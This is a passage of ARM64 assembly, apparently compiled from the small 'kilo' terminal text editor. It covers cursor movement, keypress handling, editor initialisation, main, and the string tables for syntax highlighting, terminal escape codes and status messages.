LBB29_52: ; in Loop: Header=BB29_1 Depth=1
ldur w0, [x29, #-4]
bl _putchar
bl _getchar
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
subs w8, w8, #92
cset w8, ne
tbnz w8, #0, LBB29_54
b LBB29_53
LBB29_53: ; in Loop: Header=BB29_1 Depth=1
ldur w0, [x29, #-4]
bl _putchar
bl _getchar
stur w0, [x29, #-4]
ldur w0, [x29, #-4]
bl _putchar
bl _getchar
stur w0, [x29, #-4]
b LBB29_54
LBB29_54: ; in Loop: Header=BB29_1 Depth=1
b LBB29_55
LBB29_55: ; Parent Loop BB29_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #39
cset w8, eq
tbnz w8, #0, LBB29_57
b LBB29_56
LBB29_56: ; in Loop: Header=BB29_55 Depth=2
ldur w0, [x29, #-4]
bl _putchar
bl _getchar
stur w0, [x29, #-4]
b LBB29_55
LBB29_57: ; in Loop: Header=BB29_1 Depth=1
ldur w0, [x29, #-4]
bl _putchar
str wzr, [sp, #24]
b LBB29_90
LBB29_58: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #34
cset w8, ne
tbnz w8, #0, LBB29_67
b LBB29_59
LBB29_59: ; in Loop: Header=BB29_1 Depth=1
ldur w0, [x29, #-4]
bl _putchar
bl _getchar
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
subs w8, w8, #92
cset w8, ne
tbnz w8, #0, LBB29_61
b LBB29_60
LBB29_60: ; in Loop: Header=BB29_1 Depth=1
ldur w0, [x29, #-4]
bl _putchar
bl _getchar
stur w0, [x29, #-4]
ldur w0, [x29, #-4]
bl _putchar
bl _getchar
stur w0, [x29, #-4]
b LBB29_61
LBB29_61: ; in Loop: Header=BB29_1 Depth=1
b LBB29_62
LBB29_62: ; Parent Loop BB29_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #34
cset w8, eq
tbnz w8, #0, LBB29_66
b LBB29_63
LBB29_63: ; in Loop: Header=BB29_62 Depth=2
ldur w0, [x29, #-4]
bl _putchar
bl _getchar
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
subs w8, w8, #92
cset w8, ne
tbnz w8, #0, LBB29_65
b LBB29_64
LBB29_64: ; in Loop: Header=BB29_62 Depth=2
ldur w0, [x29, #-4]
bl _putchar
bl _getchar
stur w0, [x29, #-4]
ldur w0, [x29, #-4]
bl _putchar
bl _getchar
stur w0, [x29, #-4]
b LBB29_65
LBB29_65: ; in Loop: Header=BB29_62 Depth=2
b LBB29_62
LBB29_66: ; in Loop: Header=BB29_1 Depth=1
ldur w0, [x29, #-4]
bl _putchar
str wzr, [sp, #24]
b LBB29_89
LBB29_67: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #35
cset w8, ne
tbnz w8, #0, LBB29_72
b LBB29_68
LBB29_68: ; in Loop: Header=BB29_1 Depth=1
ldur w0, [x29, #-4]
bl _putchar
b LBB29_69
LBB29_69: ; Parent Loop BB29_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #10
cset w8, eq
tbnz w8, #0, LBB29_71
b LBB29_70
LBB29_70: ; in Loop: Header=BB29_69 Depth=2
bl _getchar
stur w0, [x29, #-4]
ldur w0, [x29, #-4]
bl _putchar
b LBB29_69
LBB29_71: ; in Loop: Header=BB29_1 Depth=1
str wzr, [sp, #24]
b LBB29_88
LBB29_72: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #32
cset w8, ne
tbnz w8, #0, LBB29_80
b LBB29_73
LBB29_73: ; in Loop: Header=BB29_1 Depth=1
ldur w0, [x29, #-4]
bl _putchar
bl _getchar
stur w0, [x29, #-4]
b LBB29_74
LBB29_74: ; Parent Loop BB29_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #32
cset w8, eq
mov w9, #1
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB29_77
b LBB29_75
LBB29_75: ; in Loop: Header=BB29_74 Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #10
cset w8, eq
mov w9, #1
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB29_77
b LBB29_76
LBB29_76: ; in Loop: Header=BB29_74 Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #9
cset w8, eq
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB29_77
LBB29_77: ; in Loop: Header=BB29_74 Depth=2
ldr w8, [sp, #4] ; 4-byte Folded Reload
tbz w8, #0, LBB29_79
b LBB29_78
LBB29_78: ; in Loop: Header=BB29_74 Depth=2
bl _getchar
stur w0, [x29, #-4]
b LBB29_74
LBB29_79: ; in Loop: Header=BB29_1 Depth=1
mov w8, #1
str w8, [sp, #24]
b LBB29_87
LBB29_80: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #40
cset w8, ne
tbnz w8, #0, LBB29_82
b LBB29_81
LBB29_81: ; in Loop: Header=BB29_1 Depth=1
ldur w0, [x29, #-4]
bl _putchar
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
str wzr, [sp, #24]
b LBB29_86
LBB29_82: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #41
cset w8, ne
tbnz w8, #0, LBB29_84
b LBB29_83
LBB29_83: ; in Loop: Header=BB29_1 Depth=1
ldur w0, [x29, #-4]
bl _putchar
ldr w8, [sp, #20]
subs w8, w8, #1
str w8, [sp, #20]
str wzr, [sp, #24]
b LBB29_85
LBB29_84: ; in Loop: Header=BB29_1 Depth=1
ldur w0, [x29, #-4]
bl _putchar
stur wzr, [x29, #-20]
str wzr, [sp, #24]
b LBB29_85
LBB29_85: ; in Loop: Header=BB29_1 Depth=1
b LBB29_86
LBB29_86: ; in Loop: Header=BB29_1 Depth=1
b LBB29_87
LBB29_87: ; in Loop: Header=BB29_1 Depth=1
b LBB29_88
LBB29_88: ; in Loop: Header=BB29_1 Depth=1
b LBB29_89
LBB29_89: ; in Loop: Header=BB29_1 Depth=1
b LBB29_90
LBB29_90: ; in Loop: Header=BB29_1 Depth=1
b LBB29_91
LBB29_91: ; in Loop: Header=BB29_1 Depth=1
b LBB29_92
LBB29_92: ; in Loop: Header=BB29_1 Depth=1
b LBB29_93
LBB29_93: ; in Loop: Header=BB29_1 Depth=1
ldr w8, [sp, #24]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB29_95
b LBB29_94
LBB29_94: ; in Loop: Header=BB29_1 Depth=1
bl _getchar
stur w0, [x29, #-4]
b LBB29_95
LBB29_95: ; in Loop: Header=BB29_1 Depth=1
b LBB29_1
LBB29_96:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _editorMoveCursor ; -- Begin function editorMoveCursor
.p2align 2
_editorMoveCursor: ; @editorMoveCursor
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
adrp x10, _E@PAGE
adrp x9, _E@PAGE
add x9, x9, _E@PAGEOFF
str x9, [sp, #32] ; 8-byte Folded Spill
str w0, [sp, #60]
ldr w8, [x9, #8]
ldr w11, [x9, #4]
add w8, w8, w11
str w8, [sp, #56]
ldr w8, [x9, #12]
ldr w10, [x10, _E@PAGEOFF]
add w8, w8, w10
str w8, [sp, #52]
ldr w8, [sp, #56]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB30_2
b LBB30_1
LBB30_1:
mov x8, #0
str x8, [sp, #24] ; 8-byte Folded Spill
b LBB30_3
LBB30_2:
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldrsw x9, [sp, #56]
mov x10, #48
mul x9, x9, x10
add x8, x8, x9
str x8, [sp, #24] ; 8-byte Folded Spill
b LBB30_3
LBB30_3:
ldr x8, [sp, #24] ; 8-byte Folded Reload
str x8, [sp, #40]
ldr w8, [sp, #60]
subs w8, w8, #1000
; kill: def $x8 killed $w8
str x8, [sp, #16] ; 8-byte Folded Spill
subs x8, x8, #3
cset w8, hi
tbnz w8, #0, LBB30_42
; %bb.4:
ldr x11, [sp, #16] ; 8-byte Folded Reload
adrp x10, lJTI30_0@PAGE
add x10, x10, lJTI30_0@PAGEOFF
Ltmp5:
adr x8, Ltmp5
ldrsw x9, [x10, x11, lsl #2]
add x8, x8, x9
br x8
LBB30_5:
adrp x8, _E@PAGE
ldr w8, [x8, _E@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB30_14
b LBB30_6
LBB30_6:
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x8, #12]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB30_8
b LBB30_7
LBB30_7:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x9, #12]
subs w8, w8, #1
str w8, [x9, #12]
b LBB30_13
LBB30_8:
ldr w8, [sp, #56]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB30_12
b LBB30_9
LBB30_9:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x9, #4]
subs w8, w8, #1
str w8, [x9, #4]
ldr x11, [x9, #32]
ldr w8, [sp, #56]
subs w8, w8, #1
mov w10, #48
smaddl x8, w8, w10, x11
ldr w10, [x8, #4]
adrp x8, _E@PAGE
str w10, [x8, _E@PAGEOFF]
ldr w8, [x8, _E@PAGEOFF]
ldr w9, [x9, #20]
subs w9, w9, #1
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB30_11
b LBB30_10
LBB30_10:
ldr x8, [sp, #32] ; 8-byte Folded Reload
adrp x9, _E@PAGE
ldr w10, [x9, _E@PAGEOFF]
ldr w11, [x8, #20]
subs w10, w10, w11
add w10, w10, #1
str w10, [x8, #12]
ldr w8, [x8, #20]
subs w8, w8, #1
str w8, [x9, _E@PAGEOFF]
b LBB30_11
LBB30_11:
b LBB30_12
LBB30_12:
b LBB30_13
LBB30_13:
b LBB30_15
LBB30_14:
adrp x9, _E@PAGE
ldr w8, [x9, _E@PAGEOFF]
subs w8, w8, #1
str w8, [x9, _E@PAGEOFF]
b LBB30_15
LBB30_15:
b LBB30_42
LBB30_16:
ldr x8, [sp, #40]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB30_22
b LBB30_17
LBB30_17:
ldr w8, [sp, #52]
ldr x9, [sp, #40]
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB30_22
b LBB30_18
LBB30_18:
ldr x9, [sp, #32] ; 8-byte Folded Reload
adrp x8, _E@PAGE
ldr w8, [x8, _E@PAGEOFF]
ldr w9, [x9, #20]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB30_20
b LBB30_19
LBB30_19:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x9, #12]
add w8, w8, #1
str w8, [x9, #12]
b LBB30_21
LBB30_20:
adrp x9, _E@PAGE
ldr w8, [x9, _E@PAGEOFF]
add w8, w8, #1
str w8, [x9, _E@PAGEOFF]
b LBB30_21
LBB30_21:
b LBB30_29
LBB30_22:
ldr x8, [sp, #40]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB30_28
b LBB30_23
LBB30_23:
ldr w8, [sp, #52]
ldr x9, [sp, #40]
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB30_28
b LBB30_24
LBB30_24:
ldr x9, [sp, #32] ; 8-byte Folded Reload
adrp x8, _E@PAGE
str wzr, [x8, _E@PAGEOFF]
str wzr, [x9, #12]
ldr w8, [x9, #4]
ldr w9, [x9, #16]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB30_26
b LBB30_25
LBB30_25:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x9, #8]
add w8, w8, #1
str w8, [x9, #8]
b LBB30_27
LBB30_26:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x9, #4]
add w8, w8, #1
str w8, [x9, #4]
b LBB30_27
LBB30_27:
b LBB30_28
LBB30_28:
b LBB30_29
LBB30_29:
b LBB30_42
LBB30_30:
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB30_34
b LBB30_31
LBB30_31:
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x8, #8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB30_33
b LBB30_32
LBB30_32:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x9, #8]
subs w8, w8, #1
str w8, [x9, #8]
b LBB30_33
LBB30_33:
b LBB30_35
LBB30_34:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x9, #4]
subs w8, w8, #1
str w8, [x9, #4]
b LBB30_35
LBB30_35:
b LBB30_42
LBB30_36:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [sp, #56]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB30_41
b LBB30_37
LBB30_37:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x9, #4]
ldr w9, [x9, #16]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB30_39
b LBB30_38
LBB30_38:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x9, #8]
add w8, w8, #1
str w8, [x9, #8]
b LBB30_40
LBB30_39:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x9, #4]
add w8, w8, #1
str w8, [x9, #4]
b LBB30_40
LBB30_40:
b LBB30_41
LBB30_41:
b LBB30_42
LBB30_42:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x9, #8]
ldr w10, [x9, #4]
add w8, w8, w10
str w8, [sp, #56]
ldr w8, [x9, #12]
adrp x10, _E@PAGE
ldr w10, [x10, _E@PAGEOFF]
add w8, w8, w10
str w8, [sp, #52]
ldr w8, [sp, #56]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB30_44
b LBB30_43
LBB30_43:
mov x8, #0
str x8, [sp, #8] ; 8-byte Folded Spill
b LBB30_45
LBB30_44:
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldrsw x9, [sp, #56]
mov x10, #48
mul x9, x9, x10
add x8, x8, x9
str x8, [sp, #8] ; 8-byte Folded Spill
b LBB30_45
LBB30_45:
ldr x8, [sp, #8] ; 8-byte Folded Reload
str x8, [sp, #40]
ldr x8, [sp, #40]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB30_47
b LBB30_46
LBB30_46:
ldr x8, [sp, #40]
ldr w8, [x8, #4]
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB30_48
LBB30_47:
mov w8, #0
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB30_48
LBB30_48:
ldr w8, [sp, #4] ; 4-byte Folded Reload
str w8, [sp, #48]
ldr w8, [sp, #52]
ldr w9, [sp, #48]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB30_52
b LBB30_49
LBB30_49:
ldr w8, [sp, #52]
ldr w9, [sp, #48]
subs w10, w8, w9
adrp x8, _E@PAGE
ldr w9, [x8, _E@PAGEOFF]
subs w9, w9, w10
str w9, [x8, _E@PAGEOFF]
ldr w8, [x8, _E@PAGEOFF]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB30_51
b LBB30_50
LBB30_50:
ldr x10, [sp, #32] ; 8-byte Folded Reload
adrp x8, _E@PAGE
ldr w11, [x8, _E@PAGEOFF]
ldr w9, [x10, #12]
add w9, w9, w11
str w9, [x10, #12]
str wzr, [x8, _E@PAGEOFF]
b LBB30_51
LBB30_51:
b LBB30_52
LBB30_52:
add sp, sp, #64
ret
.cfi_endproc
.p2align 2
lJTI30_0:
.long LBB30_5-Ltmp5
.long LBB30_16-Ltmp5
.long LBB30_30-Ltmp5
.long LBB30_36-Ltmp5
; -- End function
.globl _editorProcessKeypress ; -- Begin function editorProcessKeypress
.p2align 2
_editorProcessKeypress: ; @editorProcessKeypress
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #24] ; 8-byte Folded Spill
stur w0, [x29, #-4]
ldur w0, [x29, #-4]
bl _editorReadKey
stur w0, [x29, #-8]
ldur w8, [x29, #-8]
stur w8, [x29, #-16] ; 4-byte Folded Spill
subs w8, w8, #3
cset w8, eq
tbnz w8, #0, LBB31_13
b LBB31_1
LBB31_1:
ldur w8, [x29, #-16] ; 4-byte Folded Reload
subs w8, w8, #6
cset w8, eq
tbnz w8, #0, LBB31_19
b LBB31_2
LBB31_2:
ldur w8, [x29, #-16] ; 4-byte Folded Reload
subs w8, w8, #8
cset w8, eq
tbnz w8, #0, LBB31_20
b LBB31_3
LBB31_3:
ldur w8, [x29, #-16] ; 4-byte Folded Reload
subs w8, w8, #12
cset w8, eq
tbnz w8, #0, LBB31_33
b LBB31_4
LBB31_4:
ldur w8, [x29, #-16] ; 4-byte Folded Reload
subs w8, w8, #13
cset w8, eq
tbnz w8, #0, LBB31_12
b LBB31_5
LBB31_5:
ldur w8, [x29, #-16] ; 4-byte Folded Reload
subs w8, w8, #17
cset w8, eq
tbnz w8, #0, LBB31_14
b LBB31_6
LBB31_6:
ldur w8, [x29, #-16] ; 4-byte Folded Reload
subs w8, w8, #19
cset w8, eq
tbnz w8, #0, LBB31_18
b LBB31_7
LBB31_7:
ldur w8, [x29, #-16] ; 4-byte Folded Reload
subs w8, w8, #27
cset w8, eq
tbnz w8, #0, LBB31_34
b LBB31_8
LBB31_8:
ldur w8, [x29, #-16] ; 4-byte Folded Reload
subs w8, w8, #127
cset w8, eq
tbnz w8, #0, LBB31_20
b LBB31_9
LBB31_9:
ldur w8, [x29, #-16] ; 4-byte Folded Reload
subs w8, w8, #1000
subs w8, w8, #3
cset w8, ls
tbnz w8, #0, LBB31_32
b LBB31_10
LBB31_10:
ldur w8, [x29, #-16] ; 4-byte Folded Reload
subs w8, w8, #1004
cset w8, eq
tbnz w8, #0, LBB31_20
b LBB31_11
LBB31_11:
ldur w8, [x29, #-16] ; 4-byte Folded Reload
subs w8, w8, #1007
subs w8, w8, #1
cset w8, ls
tbnz w8, #0, LBB31_21
b LBB31_35
LBB31_12:
bl _editorInsertNewline
b LBB31_36
LBB31_13:
bl _editorIndent
b LBB31_36
LBB31_14:
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB31_17
b LBB31_15
LBB31_15:
adrp x8, _editorProcessKeypress.quit_times@PAGE
ldr w8, [x8, _editorProcessKeypress.quit_times@PAGEOFF]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB31_17
b LBB31_16
LBB31_16:
adrp x8, _editorProcessKeypress.quit_times@PAGE
str x8, [sp, #16] ; 8-byte Folded Spill
ldr w9, [x8, _editorProcessKeypress.quit_times@PAGEOFF]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.53@PAGE
add x0, x0, l_.str.53@PAGEOFF
bl _editorSetStatusMessage
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x9, _editorProcessKeypress.quit_times@PAGEOFF]
subs w8, w8, #1
str w8, [x9, _editorProcessKeypress.quit_times@PAGEOFF]
b LBB31_37
LBB31_17:
mov w0, #0
bl _exit
LBB31_18:
bl _editorSave
b LBB31_36
LBB31_19:
ldur w0, [x29, #-4]
bl _editorFind
b LBB31_36
LBB31_20:
bl _editorDelChar
b LBB31_36
LBB31_21:
ldur w8, [x29, #-8]
subs w8, w8, #1007
cset w8, ne
tbnz w8, #0, LBB31_24
b LBB31_22
LBB31_22:
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB31_24
b LBB31_23
LBB31_23:
ldr x8, [sp, #24] ; 8-byte Folded Reload
str wzr, [x8, #4]
b LBB31_28
LBB31_24:
ldur w8, [x29, #-8]
subs w8, w8, #1008
cset w8, ne
tbnz w8, #0, LBB31_27
b LBB31_25
LBB31_25:
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x9, #4]
ldr w9, [x9, #16]
subs w9, w9, #1
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB31_27
b LBB31_26
LBB31_26:
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x9, #16]
subs w8, w8, #1
str w8, [x9, #4]
b LBB31_27
LBB31_27:
b LBB31_28
LBB31_28:
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x8, #16]
stur w8, [x29, #-12]
b LBB31_29
LBB31_29: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-12]
subs w9, w8, #1
stur w9, [x29, #-12]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB31_31
b LBB31_30
LBB31_30: ; in Loop: Header=BB31_29 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #1007
cset w8, eq
and w10, w8, #0x1
mov w9, #1003
mov w8, #1002
ands w10, w10, #0x1
csel w0, w8, w9, ne
bl _editorMoveCursor
b LBB31_29
LBB31_31:
b LBB31_36
LBB31_32:
ldur w0, [x29, #-8]
bl _editorMoveCursor
b LBB31_36
LBB31_33:
b LBB31_36
LBB31_34:
b LBB31_36
LBB31_35:
ldur w0, [x29, #-8]
bl _editorInsertChar
b LBB31_36
LBB31_36:
adrp x9, _editorProcessKeypress.quit_times@PAGE
mov w8, #3
str w8, [x9, _editorProcessKeypress.quit_times@PAGEOFF]
b LBB31_37
LBB31_37:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _editorFileWasModified ; -- Begin function editorFileWasModified
.p2align 2
_editorFileWasModified: ; @editorFileWasModified
.cfi_startproc
; %bb.0:
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
ldr w0, [x8, #40]
ret
.cfi_endproc
; -- End function
.globl _initEditor ; -- Begin function initEditor
.p2align 2
_initEditor: ; @initEditor
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x9, _E@PAGE
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #8] ; 8-byte Folded Spill
add x2, x8, #16
mov w0, #0
str wzr, [x9, _E@PAGEOFF]
str wzr, [x8, #4]
str wzr, [x8, #8]
str wzr, [x8, #12]
str wzr, [x8, #24]
; kill: def $x9 killed $xzr
str xzr, [x8, #32]
str wzr, [x8, #40]
str xzr, [x8, #48]
str xzr, [x8, #144]
mov w1, #1
add x3, x8, #20
bl _getWindowSize
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB33_2
b LBB33_1
LBB33_1:
adrp x0, l_.str.54@PAGE
add x0, x0, l_.str.54@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB33_2:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [x9, #16]
subs w8, w8, #2
str w8, [x9, #16]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
str w0, [sp, #8]
str x1, [sp]
ldr w8, [sp, #8]
subs w8, w8, #2
cset w8, eq
tbnz w8, #0, LBB34_2
b LBB34_1
LBB34_1:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
adrp x1, l_.str.55@PAGE
add x1, x1, l_.str.55@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB34_2:
bl _initEditor
ldr x8, [sp]
ldr x0, [x8, #8]
bl _editorSelectSyntaxHighlight
ldr x8, [sp]
ldr x0, [x8, #8]
bl _editorOpen
mov w0, #0
bl _enableRawMode
adrp x0, l_.str.56@PAGE
add x0, x0, l_.str.56@PAGEOFF
bl _editorSetStatusMessage
b LBB34_3
LBB34_3: ; =>This Inner Loop Header: Depth=1
bl _editorRefreshScreen
mov w0, #0
bl _editorProcessKeypress
b LBB34_3
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz ".c"
l_.str.1: ; @.str.1
.asciz ".cpp"
.section __DATA,__data
.globl _C_HL_extensions ; @C_HL_extensions
.p2align 3
_C_HL_extensions:
.quad l_.str
.quad l_.str.1
.quad 0
.section __TEXT,__cstring,cstring_literals
l_.str.2: ; @.str.2
.asciz "switch"
l_.str.3: ; @.str.3
.asciz "if"
l_.str.4: ; @.str.4
.asciz "while"
l_.str.5: ; @.str.5
.asciz "for"
l_.str.6: ; @.str.6
.asciz "break"
l_.str.7: ; @.str.7
.asciz "continue"
l_.str.8: ; @.str.8
.asciz "return"
l_.str.9: ; @.str.9
.asciz "else"
l_.str.10: ; @.str.10
.asciz "struct"
l_.str.11: ; @.str.11
.asciz "union"
l_.str.12: ; @.str.12
.asciz "typedef"
l_.str.13: ; @.str.13
.asciz "static"
l_.str.14: ; @.str.14
.asciz "enum"
l_.str.15: ; @.str.15
.asciz "class"
l_.str.16: ; @.str.16
.asciz "int|"
l_.str.17: ; @.str.17
.asciz "long|"
l_.str.18: ; @.str.18
.asciz "double|"
l_.str.19: ; @.str.19
.asciz "float|"
l_.str.20: ; @.str.20
.asciz "char|"
l_.str.21: ; @.str.21
.asciz "unsigned|"
l_.str.22: ; @.str.22
.asciz "signed|"
l_.str.23: ; @.str.23
.asciz "void|"
.section __DATA,__data
.globl _C_HL_keywords ; @C_HL_keywords
.p2align 3
_C_HL_keywords:
.quad l_.str.2
.quad l_.str.3
.quad l_.str.4
.quad l_.str.5
.quad l_.str.6
.quad l_.str.7
.quad l_.str.8
.quad l_.str.9
.quad l_.str.10
.quad l_.str.11
.quad l_.str.12
.quad l_.str.13
.quad l_.str.14
.quad l_.str.15
.quad l_.str.16
.quad l_.str.17
.quad l_.str.18
.quad l_.str.19
.quad l_.str.20
.quad l_.str.21
.quad l_.str.22
.quad l_.str.23
.quad 0
.globl _HLDB ; @HLDB
.p2align 3
_HLDB:
.quad _C_HL_extensions
.quad _C_HL_keywords
.space 2,47
.asciz "/*"
.asciz "*/"
.long 3 ; 0x3
.space 4
.zerofill __DATA,__bss,_E,152,3 ; @E
.zerofill __DATA,__bss,_orig_termios,72,3 ; @orig_termios
.section __TEXT,__cstring,cstring_literals
l_.str.24: ; @.str.24
.asciz "\033[6n"
l_.str.25: ; @.str.25
.asciz "%d;%d"
l_.str.26: ; @.str.26
.asciz "\033[999C\033[999B"
l_.str.27: ; @.str.27
.asciz "\033[%d;%dH"
l_.str.28: ; @.str.28
.asciz ",.()+-/*=~%[];"
l_.str.29: ; @.str.29
.space 1
l_.str.30: ; @.str.30
.asciz "r"
l_.str.31: ; @.str.31
.asciz "Opening file"
l_.str.32: ; @.str.32
.asciz "%d bytes written on disk"
l_.str.33: ; @.str.33
.asciz "Can't save! I/O error: %s"
l_.str.34: ; @.str.34
.asciz "\033[?25l"
l_.str.35: ; @.str.35
.asciz "\033[H"
l_.str.36: ; @.str.36
.asciz "Kilo editor -- verison %s\033[0K\r\n"
l_.str.37: ; @.str.37
.asciz "0.0.1"
l_.str.38: ; @.str.38
.asciz "~"
l_.str.39: ; @.str.39
.asciz " "
l_.str.40: ; @.str.40
.asciz "~\033[0K\r\n"
l_.str.41: ; @.str.41
.asciz "\033[7m"
l_.str.42: ; @.str.42
.asciz "\033[0m"
l_.str.43: ; @.str.43
.asciz "\033[39m"
l_.str.44: ; @.str.44
.asciz "\033[%dm"
l_.str.45: ; @.str.45
.asciz "\033[0K"
l_.str.46: ; @.str.46
.asciz "\r\n"
l_.str.47: ; @.str.47
.asciz "%.20s - %d lines %s"
l_.str.48: ; @.str.48
.asciz "(modified)"
l_.str.49: ; @.str.49
.asciz "%d/%d"
l_.str.50: ; @.str.50
.asciz "\033[0m\r\n"
l_.str.51: ; @.str.51
.asciz "\033[?25h"
l_.str.52: ; @.str.52
.asciz "Search: %s (Use ESC/Arrows/Enter)"
.section __DATA,__data
.p2align 2 ; @editorProcessKeypress.quit_times
_editorProcessKeypress.quit_times:
.long 3 ; 0x3
.section __TEXT,__cstring,cstring_literals
l_.str.53: ; @.str.53
.asciz "WARNING!!! File has unsaved changes. Press Ctrl-Q %d more times to quit."
l_.str.54: ; @.str.54
.asciz "Unable to query the screen for size (columns / rows)"
l_.str.55: ; @.str.55
.asciz "Usage: kilo <filename>\n"
l_.str.56: ; @.str.56
